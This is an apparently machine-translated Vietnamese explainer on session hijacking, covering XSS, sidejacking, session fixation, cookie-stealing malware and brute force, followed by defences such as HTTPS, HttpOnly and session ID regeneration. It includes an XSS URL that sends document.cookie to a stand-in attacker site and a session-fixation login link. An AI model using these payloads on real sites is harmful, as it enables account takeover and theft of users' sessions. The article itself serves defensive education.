Bài viết này trình bày tổng quan về chiếm quyền điều khiển Session, các phương pháp tấn công phổ biến kèm theo các ví dụ và sự nguy hiểm của việc tấn công chiếm đoạt thành công. Bạn cũng sẽ học cách bảo vệ dữ liệu của mình khỏi các mối đe dọa chiếm quyền điều khiển.
Session Hijacking là gì?
Session Hijacking là một cuộc tấn công trong đó một Session của người dùng bị kẻ tấn công chiếm đoạt. Một Session bắt đầu khi bạn đăng nhập vào một dịch vụ, ví dụ như ứng dụng ngân hàng của bạn và kết thúc khi bạn đăng xuất. Cuộc tấn công dựa trên kiến thức của kẻ tấn công về cookie Session của bạn, vì vậy nó còn được gọi là chiếm quyền điều khiển cookie hoặc tấn công từ phía cookie. Mặc dù bất kỳ Session máy tính nào cũng có thể bị tấn công, nhưng việc chiếm quyền điều khiển Session thường áp dụng nhất cho các Session trình duyệt và ứng dụng web.
Các bài viết liên quan:
Trong hầu hết các trường hợp khi bạn đăng nhập vào một ứng dụng web, máy chủ sẽ đặt một cookie Session tạm thời trong trình duyệt của bạn để ghi nhớ rằng bạn hiện đã đăng nhập và xác thực. HTTP là một giao thức không trạng thái và cookie Session được đính kèm với mọi tiêu đề HTTP là cách phổ biến nhất để máy chủ xác định trình duyệt hoặc Session hiện tại của bạn.
Để thực hiện chiếm quyền điều khiển Session, kẻ tấn công cần biết ID Session (khóa Session) của nạn nhân. Điều này có thể đạt được bằng cách Hijacking cookie Session hoặc thuyết phục người dùng nhấp vào liên kết độc hại có chứa ID Session đã chuẩn bị. Trong cả hai trường hợp, sau khi người dùng được xác thực trên máy chủ, kẻ tấn công có thể chiếm (chiếm quyền điều khiển) Session bằng cách sử dụng cùng một ID Session cho Session trình duyệt của chính họ. Sau đó, máy chủ bị đánh lừa khi coi kết nối của kẻ tấn công là Session hợp lệ của người dùng ban đầu.
Lưu ý: Khái niệm liên quan về chiếm quyền điều khiển Session TCP không phù hợp khi nói về các cuộc tấn công nhắm mục tiêu cookie Session. Điều này là do cookie là một tính năng của HTTP, là một giao thức cấp ứng dụng, trong khi TCP hoạt động ở cấp độ mạng. Cookie Session là số nhận dạng được ứng dụng web trả về sau khi xác thực thành công và Session do người dùng ứng dụng khởi tạo không liên quan gì đến kết nối TCP giữa máy chủ và thiết bị của người dùng.
Xem thêm Kiểm tra lỗ hổng Session Fixation
Những kẻ tấn công có thể làm gì sau khi chiếm đoạt Session thành công?
Nếu thành công, kẻ tấn công sau đó có thể thực hiện bất kỳ hành động nào mà người dùng ban đầu được phép thực hiện trong Session hoạt động. Tùy thuộc vào ứng dụng được nhắm mục tiêu, điều này có thể có nghĩa là chuyển tiền từ tài khoản ngân hàng của người dùng, đóng giả người dùng để mua các mặt hàng trong cửa hàng trực tuyến, truy cập thông tin cá nhân chi tiết để Hijacking danh tính, Hijacking dữ liệu cá nhân của khách hàng từ hệ thống của công ty, mã hóa dữ liệu có giá trị và yêu cầu đòi tiền chuộc để giải mã chúng – và tất cả các loại hậu quả khó chịu khác.
Một mối nguy hiểm cụ thể đối với các tổ chức lớn hơn là cookie cũng có thể được sử dụng để xác định người dùng đã xác thực trong hệ thống đăng nhập một lần (SSO). Điều này có nghĩa là một cuộc tấn công Session thành công có thể cấp cho kẻ tấn công quyền truy cập SSO vào nhiều ứng dụng web, từ hệ thống tài chính và hồ sơ khách hàng đến hệ thống ngành nghề kinh doanh có khả năng chứa tài sản trí tuệ có giá trị. Đối với người dùng cá nhân, những rủi ro tương tự cũng tồn tại khi sử dụng các dịch vụ bên ngoài để đăng nhập vào ứng dụng, nhưng do các biện pháp bảo vệ bổ sung khi bạn đăng nhập bằng tài khoản Facebook hoặc Google của mình, việc chiếm đoạt cookie Session nói chung sẽ không đủ để chiếm đoạt Session.
Xem thêm Kiểm tra lỗ hổng bảo mật Session Puzzling
Sự khác biệt giữa chiếm quyền điều khiển Session và giả mạo Session là gì?
Mặc dù có liên quan chặt chẽ với nhau, nhưng chiếm đoạt và giả mạo khác nhau về thời gian của cuộc tấn công. Như tên của nó, chiếm quyền điều khiển Session được thực hiện chống lại người dùng hiện đang đăng nhập và xác thực, do đó, từ quan điểm của nạn nhân, cuộc tấn công thường khiến ứng dụng được nhắm mục tiêu hoạt động không thể đoán trước hoặc gặp sự cố. Với giả mạo Session, những kẻ tấn công sử dụng mã thông báo Session bị Hijacking hoặc giả mạo để bắt đầu Session mới và mạo danh người dùng ban đầu, người có thể không biết về cuộc tấn công.
Các phương pháp chính của việc chiếm quyền điều khiển Session là gì và chúng hoạt động như thế nào?
Những kẻ tấn công có nhiều tùy chọn để chiếm quyền điều khiển Session, tùy thuộc vào vectơ tấn công và vị trí của kẻ tấn công. Danh mục rộng đầu tiên là các cuộc tấn công tập trung vào việc chặn cookie:
Cross-site scripting (XSS): Đây có lẽ là phương pháp chiếm quyền điều khiển Session web phổ biến và nguy hiểm nhất. Bằng cách khai thác các lỗ hổng của máy chủ hoặc ứng dụng, những kẻ tấn công có thể đưa các tập lệnh phía máy khách (thường là JavaScript) vào các trang web, khiến trình duyệt của bạn thực thi mã tùy ý khi tải một trang bị xâm phạm. Nếu máy chủ không đặt thuộc tính HttpOnly trong cookie Session, các tập lệnh được đưa vào có thể có quyền truy cập vào khóa Session của bạn, cung cấp cho những kẻ tấn công thông tin cần thiết để chiếm quyền điều khiển Session.
Ví dụ: những kẻ tấn công có thể phân phối email hoặc tin nhắn IM với một liên kết được chế tạo đặc biệt trỏ đến một trang web đáng tin cậy và đã biết nhưng có chứa các tham số truy vấn HTTP khai thác một lỗ hổng đã biết để đưa tập lệnh vào.
Xem thêm Tấn công Session Prediction là gì?
Đối với một cuộc tấn công XSS được sử dụng để chiếm quyền điều khiển Session, mã có thể gửi khóa Session đến trang web của chính kẻ tấn công, ví dụ:
http://www.testhijacksession.com/search? <script> location.href = ‘http: //www.SecretVillainSite.com/hijacker.php? cookie =’ + document.cookie; </script>
Thao tác này sẽ đọc cookie Session hiện tại bằng document.cookie và gửi nó đến trang web của kẻ tấn công bằng cách đặt URL vị trí trong trình duyệt bằng location.href. Trong cuộc sống thực, các liên kết như vậy có thể sử dụng mã hóa ký tự để làm xáo trộn mã và các dịch vụ rút ngắn URL để tránh các liên kết dài đáng ngờ. Trong trường hợp này, một cuộc tấn công thành công dựa vào việc ứng dụng và máy chủ web chấp nhận và thực hiện đầu vào không được bảo vệ từ yêu cầu HTTP.
Minh họa về chiếm quyền điều khiển Session sử dụng XSS
Xem thêm Kiểm tra lỗ hổng bảo mật Session Management Schema
Session side jacking: Loại tấn công này yêu cầu sự tham gia tích cực của kẻ tấn công và là điều đầu tiên xuất hiện trong tâm trí mọi người khi nghĩ về “bị tấn công”. Sử dụng tính năng dò tìm gói, những kẻ tấn công có thể theo dõi lưu lượng mạng của người dùng và chặn cookie Session sau khi người dùng đã xác thực trên máy chủ. Nếu trang web chỉ sử dụng mã hóa SSL / TLS cho các trang đăng nhập chứ không phải cho toàn bộ Session, kẻ tấn công có thể sử dụng khóa Session bị Hijacking để chiếm đoạt Session và mạo danh người dùng để thực hiện các hành động trong ứng dụng web được nhắm mục tiêu. Bởi vì kẻ tấn công cần quyền truy cập vào mạng của nạn nhân, các tình huống tấn công điển hình liên quan đến các điểm truy cập Wi-Fi không an toàn, nơi kẻ tấn công có thể theo dõi lưu lượng truy cập trong mạng công cộng hoặc thiết lập điểm truy cập của riêng chúng và thực hiện các cuộc tấn công trung gian.
Hình 2. Minh họa về việc chiếm quyền điều khiển Session sử dụng tính năng dò tìm gói tin
Các phương pháp khác để xác định hoặc Hijacking cookie Session cũng tồn tại:
Cố định Session: Để phát hiện ra cookie của nạn nhân, kẻ tấn công có thể chỉ cần cung cấp một khóa Session đã biết và lừa người dùng truy cập vào một máy chủ dễ bị tấn công. Có nhiều cách để thực hiện việc này, ví dụ: bằng cách sử dụng các tham số truy vấn HTTP trong một liên kết thủ công được gửi qua e-mail hoặc được cung cấp trên một trang web độc hại, ví dụ:
<a href=”http://www.Trusted.com/login.php?sessionid=iknowyourkey”> Nhấp vào đây để đăng nhập ngay bây giờ </a>
Khi nạn nhân nhấp vào liên kết, họ sẽ được đưa đến một biểu mẫu đăng nhập hợp lệ, nhưng khóa Session sẽ được sử dụng do kẻ tấn công cung cấp. Sau khi xác thực, kẻ tấn công có thể sử dụng khóa Session đã biết để chiếm quyền điều khiển Session.
Một phương pháp sửa Session khác là lừa người dùng hoàn thành một biểu mẫu đăng nhập được chế tạo đặc biệt có chứa trường ẩn với ID Session cố định. Các kỹ thuật nâng cao hơn bao gồm thay đổi hoặc chèn giá trị cookie Session bằng cách sử dụng tấn công tập lệnh trên nhiều trang web hoặc thao tác trực tiếp các giá trị tiêu đề HTTP (yêu cầu quyền truy cập vào lưu lượng mạng của người dùng) để chèn khóa Session đã biết bằng cách sử dụng tham số Set-Cookie.
Xem thêm Kiểm tra Lỗ hổng bảo mật Cookies Attributes
Một thủ thuật cũ sẽ không còn hoạt động trong các trình duyệt hiện đại (kể từ Chrome 65 và Firefox 68) là chèn thẻ HTML <meta http-equiv = “Set-Cookie”> để đặt giá trị cookie thông qua thẻ siêu dữ liệu. Chức năng này cũng đã bị xóa khỏi thông số kỹ thuật HTML chính thức.
Hijacking cookie bởi phần mềm độc hại hoặc quyền truy cập trực tiếp: Một cách rất phổ biến để lấy cookie Session là cài đặt phần mềm độc hại trên máy của người dùng để thực hiện đánh giá Session tự động. Sau khi được cài đặt, chẳng hạn như sau khi người dùng đã truy cập một trang web độc hại hoặc nhấp vào liên kết trong email spam, phần mềm độc hại sẽ quét lưu lượng mạng của người dùng để tìm cookie Session và gửi chúng cho kẻ tấn công. Một cách khác để lấy khóa Session là truy cập trực tiếp vào tệp cookie trong bộ nhớ cục bộ tạm thời của trình duyệt khách hàng (thường được gọi là cookie jar). Một lần nữa, tác vụ này có thể được thực hiện bởi phần mềm độc hại, nhưng cũng có thể được thực hiện bởi kẻ tấn công có quyền truy cập cục bộ hoặc từ xa vào hệ thống.
Brute force: Cuối cùng, kẻ tấn công chỉ có thể cố gắng đoán khóa Session của Session hoạt động của người dùng, điều này chỉ khả thi nếu ứng dụng sử dụng số nhận dạng Session ngắn hoặc có thể dự đoán được. Trước đây, các khóa tuần tự là một điểm yếu điển hình, nhưng với các ứng dụng và Session bản giao thức hiện đại, ID Session dài và được tạo ngẫu nhiên. Để đảm bảo khả năng chống lại các cuộc tấn công bạo lực, thuật toán tạo khóa phải cung cấp các giá trị thực sự không thể đoán trước với đủ entropy để khiến các cuộc tấn công đoán không thực tế.
Xem thêm Kiểm tra lỗ hổng bảo mật Session Hijacking
Làm thế nào bạn có thể ngăn chặn việc xâm nhập Session?
Mối đe dọa chiếm quyền điều khiển Session tồn tại do các hạn chế của giao thức HTTP không trạng thái. Cookie Session là một cách khắc phục những hạn chế này và cho phép các ứng dụng web xác định các hệ thống máy tính riêng lẻ và lưu trữ trạng thái Session hiện tại, chẳng hạn như mua sắm của bạn trong một cửa hàng trực tuyến.
Đối với người dùng trình duyệt thông thường, việc tuân theo một số quy tắc an toàn trực tuyến cơ bản có thể giúp giảm thiểu rủi ro, nhưng vì chiếm quyền điều khiển Session hoạt động bằng cách khai thác các cơ chế cơ bản được đại đa số các ứng dụng web sử dụng nên không có phương pháp bảo vệ đảm bảo duy nhất. Tuy nhiên, bằng cách tăng cường nhiều khía cạnh của giao tiếp và quản lý Session, nhà phát triển và quản trị viên có thể giảm thiểu nguy cơ kẻ tấn công lấy được mã Session hợp lệ:
Sử dụng HTTPS để đảm bảo mã hóa SSL / TLS của tất cả lưu lượng Session. Điều này sẽ ngăn kẻ tấn công chặn ID Session bản rõ, ngay cả khi chúng đang theo dõi lưu lượng truy cập của nạn nhân. Tốt hơn là sử dụng HSTS (Bảo mật truyền tải nghiêm ngặt HTTP) để đảm bảo rằng tất cả các kết nối đều được mã hóa.
Đặt thuộc tính HttpOnly bằng cách sử dụng tiêu đề Set-Cookie HTTP để ngăn truy cập cookie từ các tập lệnh phía máy khách. Điều này ngăn chặn XSS và các cuộc tấn công khác dựa vào việc đưa JavaScript vào trình duyệt. Việc chỉ định các chỉ thị Secure và SameSite cũng được khuyến nghị để tăng cường bảo mật.
Các khuôn khổ web cung cấp các cơ chế tạo và quản lý session ID được kiểm tra tốt và an toàn cao. Sử dụng chúng thay vì phát minh ra quản lý Session của riêng bạn.
Tạo lại khóa Session sau khi xác thực ban đầu. Điều này khiến khóa Session thay đổi ngay lập tức sau khi xác thực, điều này sẽ vô hiệu hóa các cuộc tấn công cố định Session – ngay cả khi kẻ tấn công biết ID Session ban đầu, nó sẽ trở nên vô dụng trước khi có thể được sử dụng.
Thực hiện xác minh danh tính người dùng bổ sung ngoài khóa Session. Điều này có nghĩa là không chỉ sử dụng cookie mà còn sử dụng các kiểm tra khác, chẳng hạn như địa chỉ IP thông thường của người dùng hoặc các kiểu sử dụng ứng dụng. Nhược điểm của phương pháp này là bất kỳ báo động giả nào có thể gây bất tiện hoặc khó chịu cho người dùng hợp pháp. Một biện pháp bảo vệ bổ sung phổ biến là thời gian chờ không hoạt động của người dùng để đóng Session người dùng sau một khoảng thời gian không hoạt động đã định.
Xem thêm Session trong Laravel